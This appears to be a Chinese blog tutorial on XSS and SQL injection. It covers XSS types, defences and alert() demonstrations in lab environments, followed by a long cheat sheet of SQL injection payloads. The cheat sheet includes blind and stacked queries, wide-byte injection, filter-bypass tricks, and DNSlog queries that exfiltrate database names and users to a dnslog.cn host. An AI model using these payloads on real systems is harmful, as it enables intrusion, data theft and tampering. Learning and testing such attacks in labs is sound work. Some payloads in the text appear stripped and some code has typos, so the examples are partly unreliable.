xss攻击 SQL注入

xss攻击

1.简介

XSS中文叫做跨站脚本攻击(Cross-site scripting),本名应该缩写为CSS。

如何判断有没有xss注入

我在数据交互的地方输入什么内容,则我输入的内容被实际展示出来,这样我们才认为没有被XSS注入。

XSS漏洞是什么?

是指攻击者利用Web服务器在页面中嵌入客户端脚本(通常是一段由JavaScript编写的恶意代码,),当信任此Web服务器的用户访问Web站点中含有恶意脚本代码的页面或打开收到的URL链接时,用户浏览器会自动加载并执行该恶意代码,从而达到攻击的目的。
在这里插入图片描述

xss漏洞形成的原因:

主要是因为web应用程序在接收用户输入时没有充分的过滤和验证。
注意:当应用程序没有对用户提交的内容进行验证和重新编码,而是直接呈现给网站的访问者时,就可能会触发XSS攻击。

XSS漏洞的危害

(1)窃取管理员帐号或Cookie。入侵者可以冒充管理员的身份登录后台,使得入侵者具有恶意操纵后台数据的能力,包括读取、更改、添加、删除一些信息。
(2)窃取用户的个人信息或者登录帐号,对网站的用户安全产生巨大的威胁。例如冒充用户身份进行各种操作。
(3)网站挂马。先将恶意攻击代码嵌入到Web应用程序之中。当用户浏览该挂马页面时,用户的计算机会被植入木马。
(4)发送广告或者垃圾信息。攻击者可以利用XSS漏洞植入广告,或者发送垃圾信息,严重影响到用户的正常使用。

2. xss类型

反射型XSS

当我们访问一个网站时,如果攻击者在该网站上设置一个恶意链接,此时当我们点击链接时,就会向攻击者服务器发送请求、返回对应的脚本,此时当浏览器加载脚本文件时,就会出现token或者cookie等信息泄露。
在这里插入图片描述

存储型XSS

存储型XSS( Stored xss Attacks),也是持久型XSS,比反射型XSS更具有威胁性。攻击脚本将被永久的存放在目标服务器的数据库或文件中。这是利用起来最方便的跨站类型,跨站代码存储于服务端(比如数据库中)。
在这里插入图片描述

攻击者在发帖或留言的过程中,将恶意脚本连同正常信息一起注入到发布内容中。随着发布内容被服务器存储下来,恶意脚本也将永久的存放到服务器的后端存储器中。当其他用户浏览这个被注入了
恶意脚本的帖子时,恶意脚本就会在用户的浏览器中得到执行

常见注入点
论坛、博客、留言板、网站的留言、评论、日志等交互处。

DOM型

DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。
基于DOM的XSS漏洞是指受害者端的网页脚本在修改本地页面DOM环境时未进行合理的处置,而使得攻击脚本被执行。在整个攻击过程中,服务器响应的页面并没有发生变化,引起客户端脚本执行结果差异的原因是对本地DOM的恶意篡改利用。

<html>
    <head>
        <title>DOM Based XSS Demo</title>
        <script>
        function xsstest() {
        var str = document.getElementById("input").value;
        document.getElementById("output").innerHTML = "<img
        src='"+str+"'></img>";
        }
        </script>
    </head>
    <body>
    <div id="output"></div>
    <input type="text" id="input" size=50 value="" />
    <input type="button" value="submit" onclick="xsstest()" />
    </body>
</html>

在这段代码中,submit按钮的onclick事件调用了xsstest()函数。而在xsstest()中,修改了页面的DOM节点,通过innerHTML把一段用户数据当作HTML写入到页面中,造成了DOM Based XSS。
判断是哪一种XSS
发送一次带XSS代码的请求,若只能在当前返回的数据包里发现XSS代码,则是反射型;若以后这个页面的返回包里都会有XSS代码,则是存储型;若在返回包里找不到XSS代码,则是DOM型。

3.XSS发现与防护

  • 过滤一些危险字符,以及转义& < > " ’ /等危险字符
  • HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此Cookie。
  • 设置CSP(Content Security Policy)
  • 输入内容长度

XSS漏洞验证实例

1.反射型XSS漏洞常存在于参数中。本实验在XSS-labs第一关做验证。具体步骤如下:

(1)访问win2008R2SP1虚拟机上的xss-labs靶场,页面如下
在这里插入图片描述

(2)点击图片,进入xss-labs靶场的第一关,如下所示
在这里插入图片描述

(3)我们将URL中的参数修改为?name=a回车,可以看到弹出以下页面,并将我们的内容显示在页面上。输入什么网页则返回什么,说明可能是一个XSS漏洞注入点。
在这里插入图片描述

(4)我们将参数修改为?name=,测试是否触发弹窗。回车可以看到弹出窗口,说明网站后台未对输入参数进行过滤,存在xss漏洞。
在这里插入图片描述
(5)我们右键网页,点击查看源码,如下。由于该网页没有对输入输出内容做任何的检验与过滤,导致这种异常的内容输出到客户端浏览器,浏览器对内容做解析时,将内容按script标签进行解析,故弹窗。

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户<script>alear(/xss/)</script></h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:29</h3></body>
</html>

2.存储型XSS漏洞验证实例

存储型XSS漏洞常存在于数据库内容中,如留言板等。此处利用之前搭建的论坛网站的留言功能作为实验平台,该平台的搭建过程参考 。具体过程如下:

(1)我们登录访问上述网站,使用我们之前住过的账号a,密码1。登录后返回首页,点击“我要留言”。
在这里插入图片描述

(2)使用留言功能,留下如下的内容:。点击提交
在这里插入图片描述
(3)再次返回首页,可以看到刚刚留下的留言。
在这里插入图片描述
(4)点击该留言,出现弹窗,这就是存储型XSS漏洞。
在这里插入图片描述
(5)右键该页面,查看网页源码,如下。我们看到因为我们搭建的平台没有对输入输出内容做任何的检验与过滤,导致这种异常的内容输出到客户端浏览器,浏览器对内容做解析时,将内容按script标签进行解析,故弹窗。

<html>
<head>
<meta charset = "utf-8">
<title>留言论坛</title>
</head>
<body>
<h1>留言内容</h1><a href = './index.php'>返回首页</a><hr />
a:存储型xss<hr/><script>alert(/xss/)</script></body>
</html>

SQL注入

1. 什么是 SQL 注入

QL注入,是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。

SQL 注入一般发生在用户交互场景中,比如需要用户自已输入信息的输入框,或者下拉选择选项的这种,如果不做好输入内容的过滤,就很可能发生 SQL 注入。
在这里插入图片描述

SQL注入的原理

服务端没有过滤用户输入的恶意数据,直接把用户输入的数据当做SQL语句执行,从而影响数据库安全和平台安全。
(1)恶意拼接查询

我们知道,SQL 语句可以查询、插入、更新和删除数据,且使用分号来分隔不同的命令。例如:

SELECT * FROM users WHERE user_id = $user_id

其中,user_id 是传入的参数,如果传入的参数值为“1234; DELETE FROM users”,那么最终的查询语句会变为:

SELECT * FROM users WHERE user_id = 1234; DELETE FROM users

如果以上语句执行,则会删除 users 表中的所有数据。
(2)利用注释执行非法命令。

SQL 语句中可以插入注释。例如:

SELECT COUNT(*) AS 'num' FROM game_score WHERE game_id=24411 AND version=$version

如果 version 包含了恶意的字符串’-1’ OR 3 AND SLEEP(500)–,那么最终查询语句会变为:

SELECT COUNT(*) AS 'num' FROM game_score WHERE game_id=24411 AND version='-1' OR 3 AND SLEEP(500)--

以上恶意查询只是想耗尽系统资源,SLEEP(500) 将导致 SQL 语句一直运行。如果其中添加了修改、删除数据的恶意指令,那么将会造成更大的破坏。
(3)传入非法参数

SQL 语句中传入的字符串参数是用单引号引起来的,如果字符串本身包含单引号而没有被处理,那么可能会篡改原本 SQL 语句的作用。 例如:

SELECT * FROM user_name WHERE user_name = $user_name

如果 user_name 传入参数值为 G’chen,那么最终的查询语句会变为:

SELECT * FROM user_name WHERE user_name ='G'chen'

一般情况下,以上语句会执行出错,这样的语句风险比较小。虽然没有语法错误,但可能会恶意产生 SQL 语句,并且以一种你不期望的方式运行。
(4)添加额外条件

在 SQL 语句中添加一些额外条件,以此来改变执行行为。条件一般为真值表达式。例如:

UPDATE users SET userpass='$userpass' WHERE user_id=$user_id;

如果 user_id 被传入恶意的字符串“1234 OR TRUE”,那么最终的 SQL 语句会变为:

UPDATE users SET userpass= '123456' WHERE user_id=1234 OR TRUE;

这将更改所有用户的密码

寻找sql注入(手工注入)

1.找寻注入点
   1.url
   2. header
   3. 表单提交
2.判断是否存在注入

代码如下(示例):

 4. and 1=1 
 5. and 1=2
 6. 使用运算符
 7. sleep


3.判断字段数
4.查找显错位

联合查询

union select 1,2,3 --mysql
union select null,null,null --mssql 对于字符类型要求严格可使用null代替所有类型
union all select null,null,null from dual --oracle 对于语法格式要求严格 dual 虚表

5.查询数据库名
database() --mysql
select * from V$version --oracle查询数据库的版本

6.查询表名
information_schema.tables --mysql
sysobjects --mssql
user_tables --oracle

7.查询字段名
information_schema.columns --mysql
syscolumns --mssql
user_tab_columns --oracle

8.查询值

布尔注入

Left判断

?id=1' and left(database(),1)='s' --+

?id=1' and left(database(),2) > 'sa' --+

Like语句判断

?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1)like 'e%'--+

Ascii语句判断

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115--+

堆叠注入

?id=1' order by 3%23

?id=1';show tables%23

?id=-1';show columns from 1919810931114514%23

?id=1'; insert into users(id,username,password) values(88,'aaa','bbb')#

在这里插入图片描述

二次注入

二次注入一般是用于白盒测试、黑盒测试就算是找到注入也没办法攻击。
image

博客链接:https://zhuanlan.zhihu.com/p/39917830

加密解密注入

Cookie: uname=YWRtaW4%3D

YWRtaW4%3D这是一个base64加密的字符串其中%3D是编码中的=符号,把他发送到编码模块当中解密,得到明文

发现这个是注入点需要将原来的注入方式重新加密发送给服务器,可以构造注入语句进行base64加密进行报错注入
!](https://img-blog.csdnimg.cn/9e28a967032348718dd4b344cade2694.png)

Dnslog对外注入

通常我们面对SQL注入过程中没有回显的情况下,只能通过盲注的方式来判断是否存在SQL注入,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度,也许你也可以使用代理池

注入语句:

?id=1' and (select load_file(concat('\\',(select hex(user())),'.682y4b.dnslog.cn/abc'))) --+

?id=1' and (select load_file(concat('\\',(select database()),'.682y4b.dnslog.cn/abc'))) --+

中转注入

比如受害者网站URL注入点是经过编码的,不能直接结合sqlmap进行漏洞利用,所以本地搭建一个网站,写一个php脚本编码文件,就可以结合sqlmap工具进行测试。

因为,注入点经过复杂编码之后,就不能直接结合sqlmap进行漏洞攻击了。或者sqlmap自己编写tamper脚本进行攻击

可参考:

搜索框注入
注入payload:

%' and '%1%'='%1

%' and '%1%'='%2

Sql数据库语句:select * from sqltest where names like '%要查询的关键字%'

a%’ and 1=1– 正常

a%’ and 1=2– 错误

有搜索数据的框可以试试加个%总能大力出奇迹

宽字节注入

前提

1.使用了addslashes()函数

2.数据库设置了编码模式为GBK

原理:前端输入%df时,首先经过addslashes()转义变成%df%5c%27,之后,在数据库查询前,因为设置了GBK编码,GBK编码在汉字编码范围内的两个字节都会重新编码成一个汉字。然后mysql服务器会对查询的语句进行GBK编码,%df%5c编码成了“运”,而单引号逃逸了出来,形成了注入漏洞

?id=%df' and 1=1 --+

?id=%df' and 1=2 --+

?id=-1%df' union select 1,2,3 %23

Cookie注入和Xff注入
主要是看看程序员有没有在cookie中做了一些过滤,我们有没有可趁之机。

Cookie: ' order by 4--+

X-Forwarded-For注入

代表客户端真实的IP,通过修改X-Forwarded-for的值可以伪造客户端IP

尝试抓包添加插入X-Forwarded-For:127.0.0.1头进行sql注入

Between注入

主要用于盲注看页面是否有变化,原理如下,例如username的字符内容是test1,第一个字符是t,a到b搜索不了,页面不正常。 a到t就有了,页面正常

mysql语句:

select * from users where id =1 and substr(username,1,1) between 'a' and 'b';

select * from users where id =1 and substr(username,1,1) between 'a' and 't';

借鉴大佬图片:

image

limit注入

mysql语句: select * from limit test limit 1,[可控点] or select … limit [可控点]

limit后面能够拼接的函数只有into和procedure,into可以用来写文件,本文我们不考虑。在Limit后面 可以用 procedure analyse()这个子查询,而且只能用extractvalue 和 benchmark 函数进行延时

procedure analyse(updatexml(rand(),concat(0x3a,benchmark(10000000,sha1(1)))),1)

select id from users;

select id from users limit 0,1 union select username from users;

在这里插入图片描述

select field from user where id >0 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

基于时间盲注:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

order by注入
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)

select * from 表名 order by 列名(或者数字) desc;降序

当页面出现mysql报错信息时,注入点在 order by后面,此时可以利用报错信息进行注入,尝试报错注入

image

?sort=1 and(select extractvalue(0x7e,concat(0x7e,database(),0x7e)))

?sort=(select 1 from(select 1 and if(ascii(substr((user()),1,1))=114,sleep(5),1))x)

Sql注入绕过姿势

绕过空格

两个空格代替一个空格,用Tab代替空格,%a0=空格:

payload:

%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /!/

最基本的绕过方法,用注释替换空格: /* 注释 */

image

括号绕过空格

mysql语句:select(user())from dual where(1=1)and(2=2)

这种过滤方法常常用于time based盲注,例如:

?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

绕过引号

这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:

select column_name from information_schema.tables where table_name=0x7573657273

绕过逗号
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

select substr(database() from 1 for 1);

select mid(database() from 1 for 1);

使用join:

union select 1,2#

等价于 union select * from (select 1)a join (select 2)b

使用like:

select ascii(mid(user(),1,1))=80 #

等价于 select user() like ‘r%’

对于limit可以使用offset来绕过:

select * from news limit 0,1 #

等价于下面这条SQL语句 select * from news limit 1 offset 0

绕过比较符号()

(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本):

使用greatest()、least():(前者返回最大值,后者返回最小值)

同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。 最常见的一个盲注的sql语句:

select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。 那么上面的这条sql语句可以使用greatest变为如下的子句:

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64